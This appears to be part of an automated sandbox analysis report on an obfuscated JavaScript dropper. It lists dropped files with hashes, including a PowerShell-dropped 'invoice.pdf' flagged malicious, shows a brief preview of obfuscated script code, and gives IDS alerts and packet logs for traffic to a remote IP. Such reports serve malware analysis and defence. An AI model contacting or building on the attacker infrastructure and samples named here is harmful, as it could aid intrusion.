Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\61abd6ea-d1c7-400c-b67f-24e2f97dd4f2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8365fa5b-31f3-48dc-8ed7-70e2b310f31f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLgGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLgGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A8E5C37206C98D1B655FF994A420FFB6
SHA1:	827237782AB5971EC205C3BCECCC7950BE9F84C3
SHA-256:	F1F755059AF7C2CBC36920337941AEFB18FBDB3CD14D3239CBBBCF0CB8F208EA
SHA-512:	12DE33EB7624458AEC44D83D4E2C09E626F8E54E177FC0C26EEBA232935F34FAAAEB71FBB025EB7C53BEA9933C46ADCE759C32516D1B80C03B6734C61D61CEB2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\eeba85a2-eea8-40fc-8fc0-569b61ca9064.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18300), with CRLF line terminators
Entropy (8bit):	4.904557649555251
TrID:
File name:	2305511452193571644.js
File size:	21'743 bytes
MD5:	6a8175098bbdbb581b94596f7e09ddd8
SHA1:	07a174b52bf74e525af4c23a2c2fdb202c336f6d
SHA256:	4665d1427789a527e72ce724b7f90287229aaa3513352584b65bf4cedb9610f6
SHA512:	bb49d07a4bfb923f5d27d7988b17dc7d787ec08b28c672e52abd238217e796a687276aca320acd418b160c2185cc19e5812ec3106d3df3715add8cc7760bbd32
SSDEEP:	384:TPkDyIMdDEqwDdGdBKTMXX398BUDIIPt3lzd0GQL5rIswaD3XvcxX5v26V4dOjSQ:TPfdDEqwDdGdBKTMXX398BUDIIPt3lz7
TLSH:	53A232CCC201CFF3CDCC49F0991218E199FB018B4AA6E68BA7157D5E4141EB9B6E2975
File Content Preview:	function ridab(){bicqssjdd=[1031,3079,5127,4103,2055,3072];var tpcux=this[cbjtwl+hnava+kkumvtj+krqalmgg+akkjtfo+hwjysalj+finnt+firtul](this[ekeqtzfc+xbpafzsb+bdexqst+kkumvtj+xxlswpljx+cbjtwl+firtul][hzsqi+kkumvtj+akkjtfo+hnava+firtul+akkjtfo+cezbgedcn+uqv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:44:00.796694+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-10T22:44:03.514080+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:43:59.990823030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.004743099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.004930973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.023227930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.028055906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796562910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796588898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796602011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796686888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796694040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.796700954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796726942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796745062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796757936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796771049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.796771049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.796829939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796842098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.796881914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.796998978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.840693951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.840713024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.840727091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.840758085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.889512062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.914097071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914115906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914176941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914191961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914205074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914235115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.914235115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.914457083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914469957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914483070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914516926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.914594889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914607048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.914649010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.914649010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.915425062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.915441036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.915455103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.915467978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.915482044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.915518999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.915518999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.916296005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.916353941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.916479111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.916492939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.916505098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.916548967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.929948092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.930006027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.956402063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.956429958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.956479073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:00.956485987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.956496954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.956510067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:00.956588030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.004630089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.004646063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.004863024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.031423092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.031440973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.031451941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.031605959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.031619072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.031666040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.031677008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.031682014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.031682014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.031797886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.032037020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.032058001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.032181025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.032248974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.032258987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.032284021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.032284021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.032361031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.032371044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.032381058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.032399893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.032399893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.033077955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.033127069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.033127069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.033138990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.033209085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.033221006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.033232927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.033256054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.033256054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.034048080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.034063101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.034075022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.034107924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.034121037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.034132004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.034140110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.034140110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.034837961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.034877062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.034878016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.034878016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.034888029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.034953117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.035021067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.035034895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.035058975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.035058975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.035718918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.035780907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.035789967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.035844088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.035866022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.035866022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.046932936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.046969891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.046979904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.046993971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.047123909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.074040890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.074074030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.074084044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.074095011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.074107885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.074172020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.074173927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.074183941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.074212074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.074249983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.074249983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.121988058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.122023106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.122034073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.122046947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.122098923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.122245073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.148834944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.148865938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.148879051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.148972988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.148986101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.148998022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149023056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.149041891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.149106979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149117947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149131060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149265051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.149265051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.149333954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149374008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149384975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149388075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.149434090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.149468899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149480104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149493933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149615049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.149816036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149866104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149878025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.149936914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.149936914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.149991989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150005102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150016069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150047064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.150408030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150418997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150433064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150485992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.150485992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.150506973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150517941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150528908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150541067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150557041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.150620937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.150926113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150979042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.150990009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151031971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.151093960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151104927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151117086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151129007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.151175022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.151175022 CET	49705	80	192.168.2.8	193.143.1.205
